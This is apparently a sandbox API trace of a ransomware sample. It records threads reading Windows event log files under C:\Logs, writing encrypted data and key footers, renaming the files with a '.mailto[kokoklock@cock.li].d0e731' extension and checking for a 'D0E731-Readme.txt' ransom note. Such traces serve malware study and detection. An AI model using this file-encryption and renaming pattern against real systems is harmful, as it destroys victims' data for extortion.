[0060.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492360) returned 1 [0060.773] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x347b688*, lpNumberOfBytesWritten=0x72afbbc*=0x8, lpOverlapped=0x0) returned 1 [0060.773] WriteFile (in: hFile=0x5bc, lpBuffer=0x72afbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x72afbd4*, lpNumberOfBytesWritten=0x72afbbc*=0x4, lpOverlapped=0x0) returned 1 [0060.773] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x72afbbc*=0x4, lpOverlapped=0x0) returned 1 [0060.774] WriteFile (in: hFile=0x5bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x72afbbc*=0x6c, lpOverlapped=0x0) returned 1 [0060.774] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b7c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x347b7c8*, lpNumberOfBytesWritten=0x72afbbc*=0x20, lpOverlapped=0x0) returned 1 [0060.774] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x72afbbc*=0x4, lpOverlapped=0x0) returned 1 [0060.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7c8) returned 1 [0060.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7f0) returned 1 [0060.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b688) returned 1 [0060.774] CloseHandle (hObject=0x5bc) returned 1 [0060.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33e5278 [0060.788] wcscpy (in: _Dest=0x33e5278, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" [0060.789] wcscat (in: _Dest=0x33e5278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" [0060.789] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.789] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5278) returned 1 [0060.789] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", dwFileAttributes=0x20) returned 0 [0060.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433c68 [0060.789] wcscpy (in: _Dest=0x3433c68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.789] wcscat (in: _Dest=0x3433c68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.789] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c68) returned 1 [0060.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0060.790] RtlExitUserThread (Status=0x1) Thread: id = 78 os_tid = 0x2e8 [0060.704] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0060.704] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", dwFileAttributes=0x20) returned 1 [0060.704] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0060.704] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x732fc8c | out: lpFileSize=0x732fc8c*=69632) returned 1 [0060.704] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.704] ReadFile (in: hFile=0x5c0, lpBuffer=0x732fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x732fc60*, lpNumberOfBytesRead=0x732fc5c*=0x4, lpOverlapped=0x0) returned 1 [0060.724] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0060.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0060.724] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.724] NtQuerySystemTime (in: CurrentTime=0x732fc38 | out: CurrentTime=0x732fc38*=132121176186176080) returned 0x0 [0060.724] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xbea7c078 [0060.724] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x363fc324 [0060.724] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x5fce69f4 [0060.724] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x1e74c121 [0060.724] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xc54c4f6 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x3548d5e7 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xea52d55b [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xbe995db7 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xe301d78a [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x6d7c2828 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x4ed5b9f2 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x26dd6396 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xb3991ffd [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x6d0cf410 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xb5c337f4 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x68b0c70e [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x2e0d8b75 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x69bff13c [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x6334fde8 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x46527b84 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x8969d217 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x27df0ad0 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xce3e40cd [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x49500b76 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x7c180ac5 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xa2cb0487 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x633a4a3 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x5342b275 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xed9605e9 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0xda87d29f [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x32303239 [0060.725] RtlRandom (in: Seed=0x732fc44 | out: Seed=0x732fc44) returned 0x74b21fd2 [0060.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0060.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0060.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b660 [0060.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0060.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0060.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.736] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.736] ReadFile (in: hFile=0x5c0, lpBuffer=0x348e2c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x732fc10, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesRead=0x732fc10*=0x4096, lpOverlapped=0x0) returned 1 [0060.769] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.770] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7a0 [0060.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7a0) returned 1 [0060.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.770] WriteFile (in: hFile=0x5c0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x732fc10, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x732fc10*=0x4096, lpOverlapped=0x0) returned 1 [0060.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.770] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.770] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b6d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x732fc48, lpOverlapped=0x0 | out: lpBuffer=0x347b6d8*, lpNumberOfBytesWritten=0x732fc48*=0x20, lpOverlapped=0x0) returned 1 [0060.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.770] WriteFile (in: hFile=0x5c0, lpBuffer=0x347b660*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x347b660*, lpNumberOfBytesWritten=0x732fc5c*=0x8, lpOverlapped=0x0) returned 1 [0060.770] WriteFile (in: hFile=0x5c0, lpBuffer=0x732fc74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x732fc74*, lpNumberOfBytesWritten=0x732fc5c*=0x4, lpOverlapped=0x0) returned 1 [0060.770] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x732fc5c*=0x4, lpOverlapped=0x0) returned 1 [0060.771] WriteFile (in: hFile=0x5c0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x732fc5c*=0x6c, lpOverlapped=0x0) returned 1 [0060.771] WriteFile (in: hFile=0x5c0, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0x732fc5c*=0x20, lpOverlapped=0x0) returned 1 [0060.771] WriteFile (in: hFile=0x5c0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x732fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x732fc5c*=0x4, lpOverlapped=0x0) returned 1 [0060.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0060.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0060.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b660) returned 1 [0060.771] CloseHandle (hObject=0x5c0) returned 1 [0060.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33e5278 [0060.784] wcscpy (in: _Dest=0x33e5278, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" [0060.784] wcscat (in: _Dest=0x33e5278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" [0060.784] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.785] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5278) returned 1 [0060.785] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", dwFileAttributes=0x20) returned 0 [0060.785] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433c68 [0060.785] wcscpy (in: _Dest=0x3433c68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.785] wcscat (in: _Dest=0x3433c68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.785] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c68) returned 1 [0060.785] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3020) returned 1 [0060.785] RtlExitUserThread (Status=0x1) Thread: id = 79 os_tid = 0x8f0 [0060.706] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0060.706] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", dwFileAttributes=0x20) returned 1 [0060.706] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4 [0060.706] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x73afc48 | out: lpFileSize=0x73afc48*=69632) returned 1 [0060.706] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.706] ReadFile (in: hFile=0x5c4, lpBuffer=0x73afc1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x73afc1c*, lpNumberOfBytesRead=0x73afc18*=0x4, lpOverlapped=0x0) returned 1 [0060.707] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0060.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.708] NtQuerySystemTime (in: CurrentTime=0x73afbf4 | out: CurrentTime=0x73afbf4*=132121176186019908) returned 0x0 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xdd0e667b [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x5990c2e6 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x39701174 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x1b40a4f0 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xd869a58b [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xb68056f0 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x2407d715 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x274fd9ee [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x9a1b03c5 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x4ab102bb [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x4f9b1b10 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xa99d45ab [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x6365b6b4 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xba5d81c9 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x981a437a [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x778fa906 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xc409eba9 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x29cd4cbc [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xb1b5ca64 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xe98f7af8 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xa49d1b6d [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x90460fda [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x38a1cbe9 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x64756ef7 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x10710103 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x90739ba [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xef952e1a [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x67f817b [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xfdd5c8ec [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xf3c2e0d1 [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0xba30939b [0060.708] RtlRandom (in: Seed=0x73afc00 | out: Seed=0x73afc00) returned 0x3d8aaa05 [0060.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0060.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0060.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d78) returned 1 [0060.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.719] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.719] ReadFile (in: hFile=0x5c4, lpBuffer=0x348e2c0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x73afbcc, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesRead=0x73afbcc*=0x4096, lpOverlapped=0x0) returned 1 [0060.720] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0060.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d78) returned 1 [0060.720] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3492360 [0060.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d78 [0060.721] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6b0 [0060.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6b0) returned 1 [0060.721] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0060.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.722] WriteFile (in: hFile=0x5c4, lpBuffer=0x3492360*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x73afbcc, lpOverlapped=0x0 | out: lpBuffer=0x3492360*, lpNumberOfBytesWritten=0x73afbcc*=0x4096, lpOverlapped=0x0) returned 1 [0060.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492360) returned 1 [0060.722] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.722] WriteFile (in: hFile=0x5c4, lpBuffer=0x33e4d78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x73afc04, lpOverlapped=0x0 | out: lpBuffer=0x33e4d78*, lpNumberOfBytesWritten=0x73afc04*=0x20, lpOverlapped=0x0) returned 1 [0060.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d78) returned 1 [0060.722] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.722] WriteFile (in: hFile=0x5c4, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0x73afc18*=0x8, lpOverlapped=0x0) returned 1 [0060.723] WriteFile (in: hFile=0x5c4, lpBuffer=0x73afc30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x73afc30*, lpNumberOfBytesWritten=0x73afc18*=0x4, lpOverlapped=0x0) returned 1 [0060.723] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x73afc18*=0x4, lpOverlapped=0x0) returned 1 [0060.723] WriteFile (in: hFile=0x5c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x73afc18*=0x6c, lpOverlapped=0x0) returned 1 [0060.723] WriteFile (in: hFile=0x5c4, lpBuffer=0x33e4dc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x33e4dc8*, lpNumberOfBytesWritten=0x73afc18*=0x20, lpOverlapped=0x0) returned 1 [0060.723] WriteFile (in: hFile=0x5c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x73afc18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x73afc18*=0x4, lpOverlapped=0x0) returned 1 [0060.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0060.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 